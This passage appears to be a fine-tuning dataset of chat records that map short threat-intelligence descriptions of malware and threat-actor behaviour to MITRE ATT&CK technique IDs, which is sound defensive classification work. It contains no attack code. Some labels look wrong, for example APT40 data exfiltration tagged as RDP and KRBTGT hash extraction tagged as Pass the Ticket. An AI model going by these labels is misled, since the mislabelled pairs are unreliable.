                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore can perform keylogging on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploitation of this vulnerability allows an attacker to escalate privileges on the affected system"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors' proxy implementation \"Agent\" upgraded the socket in use to a TLS socket."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke is capable of executing commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses ZPP, a .NET console program, to compress files with ZIP."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to retrieve information about the OS."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to escalate privileges by bypassing User Access Control."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang used a SharePoint enumeration and data dumping tool known as spwebmember."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has used rundll32.exe to execute other DLLs and named pipes."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has deployed a bootkit along with Downdelph to ensure its persistence on the victim. The bootkit shares code with some variants of BlackEnergy."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Despite this indictment and other disclosures of COBALT DICKENS campaigns, the threat group (also known as Silent Librarian) shows no signs of stopping its activity as of this publication. CTU™ researchers have observed the threat actors using free online services as part of their operations, including free certificates, domains, and publicly available tools"
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cadelspy has the ability to record audio from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet used WMI with an \"explorer.exe\" token to execute on a remote share."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang performs operating system information discovery using \"systeminfo\" and has used implants to identify the system language and computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used a SharePoint enumeration and data dumping tool known as spwebmember."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can collect data and files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Establish persistence via the Startup folder or theRun registry key (some variants). 2) Inject itself to another process such as rundll32.exe and dllhost.exe (some variants). 3) Decrypt two blobs: Import Table and the loader configuration"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Duqu command and control protocol's data stream can be encrypted with AES-CBC."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RobbinHood stops 181 Windows services on the system before beginning the encryption process."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaigns use a TrickBot downloader that is signed and uses an icon to pretend it is a Microsoft Word document. To avoid suspicion, the decoy message suggests the user should update Microsoft Word or open the file from another computer"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used batch scripting to automate execution of commands."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver will then install itself as a service in the event it is running with SeDebugPrivilege privileges.  The service is configured with a name, description, and display name that is provided within the configuration"
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a keylogger to capture keystrokes and location of where the user is typing."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner can steal Google Chrome and Apple Safari browser cookies from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ IMJPMIJ8.1{3 characters of Unique Identifier}\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSInfo performs a connection test to discover remote systems in the network"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download additional encrypted backdoors onto the victim via GIF files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains an implementation of PsExec for remote execution."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Completing missions typically involves gathering and transferring information out of the target network, which may involve moving files through multiple systems before reaching the destination. APT40 has been observed consolidating files acquired from victim networks and using the archival tool rar.exe to compress and encrypt the data before exfiltration. We have also observed APT40 develop tools such as PAPERPUSH to aid in the effectiveness of their data targeting and theft"
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Evilnum has used malicious JavaScript files on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT has used DNS to communicate with the C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, the script executes a command to delete the targeted PC’s volume shadow copies, so victims cannot restore older unencrypted versions of their files"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos searches for Sandboxie and VMware on the system."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Transparent Tribe has compromised domains for use in targeted malicious campaigns."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used RDP to access targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most Sakula samples maintain persistence by setting the Registry Run key \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\\" in the HKLM or HKCU hive, with the Registry value and file name varying by sample."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. DGet — This simple downloader (see Figure 4) is similar to the wget web server retrieval tool. Source: Secureworks) - Screen Capture Tool— This tool can capture the desktop of a victim's system (see Figure 5). Figure 5. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use downloaders or other malware to send the new list to a compromised host. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore’s plugins were obfuscated with Eazfuscater.NET 3.3."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "That persistence is achieved by adding a new task in the task scheduler – it deploys the malicious sample after every minute, to ensure that it keeps running"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spark has been packed with Enigma Protector to obfuscate its contents."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These Honeybee documents did not contain any specific lures, rather variations of a “not compatible” message attempting to convince the user to enable content"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 leveraged privileged accounts to replicate directory service data with domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has encoded strings in its malware with base64 as well as with a simple, single-byte XOR obfuscation using key 0x40."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can recursively search for files in folders and collects files from the desktop with certain extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoxCaon has searched for files on the system, such as documents located in the desktop folder."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 7: Dropbox-themed landing page with a lure asking users to click a button that links to the malicious document"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has compressed data into password-protected RAR archives prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell can use encryption and base64 encoding to hide strings and to enforce access control once deployed."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AutoIt backdoor has sent a C2 response that was base64-encoded."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taken together, the VirusTotal submissions of the samples, the samples themselves, the ZIP containing the samples (observed as a dissemination mechanism via email attachment), as well as the RAR container (seen later in this report under the Analysis section) form a timeline beginning on 12 November"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan’s capabilities. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HighShell v5.0 explorer tab allows actor to navigate the file system The HighShell v7.1 variant from the data dump contains similar functionality to its predecessors and continued the tabular approach but expanded even further by splitting out the main functionality across multiple tabs, specifically “Command”, “Explorer”, “Upload”, “Download”, “Sql Server” and “Change Time”"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"net user username \\password \\domain\" commands in Net can be used to create a domain account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used HTTP GET requests for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Win32/Diskcoder.D has the ability to spread via SMB. First, it scans internal networks for open SMB shares. It looks for the following shares"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The software installed on the compromised computer is of particular interest. Which programs are installed on the system. Which of them are executed automatically at each system start or user logon. Which programs are used by a particular user. If the attackers are interested, they are only one command away from these valuable data"
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon uses TCP and UDP for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore has been spread through malicious advertisements on websites."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In Figure 4, the first DNS query to resolve is. . yFIOr645245444143544544.windows64x[.]com which acts as an initial beacon. The first five characters (yFIOr) are random and have no purpose other than generating random subdomains in order to avoid DNS caching. The next two characters (64) signify the Hex notation of the d request type, which is the request type for the initial beacon as noted in Table 3. The request type is followed by the system specific hostname hardcoded into the sample, which in this case is 5245444143544544 for <REDACTED>."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware has used HTTP and IRC for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors mapped network drives using 'net use' and administrator credentials."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used Dropbox for C2 allowing upload and download of files as well as execution of arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hello, I got kinsing on my main development box (ubuntu 20 lamp stack). NO docker NO redis NO phpunit How it got in, is a mystery. All I can tell is it came in via apache (kinsing was running as www-data and main kinsing executable in /tmp was owned by www-data). I am using Laravel 7.2.0 not sure are there any loop in the laravel"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Revenge RAT creates a Registry key at \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\" to survive a system reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel uses HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT malware was designed and used to insert SUNBURST into software builds of the SolarWinds Orion IT management product."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has encrypted an ELF file."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence attempts to get users to launch malicious attachments delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once an attacker has admin access to a Domain Controller, the KRBTGT account password hashes can be extracted using Mimikatz"
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POLONIUM has obtained and used tools such as AirVPN and plink in their operations."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
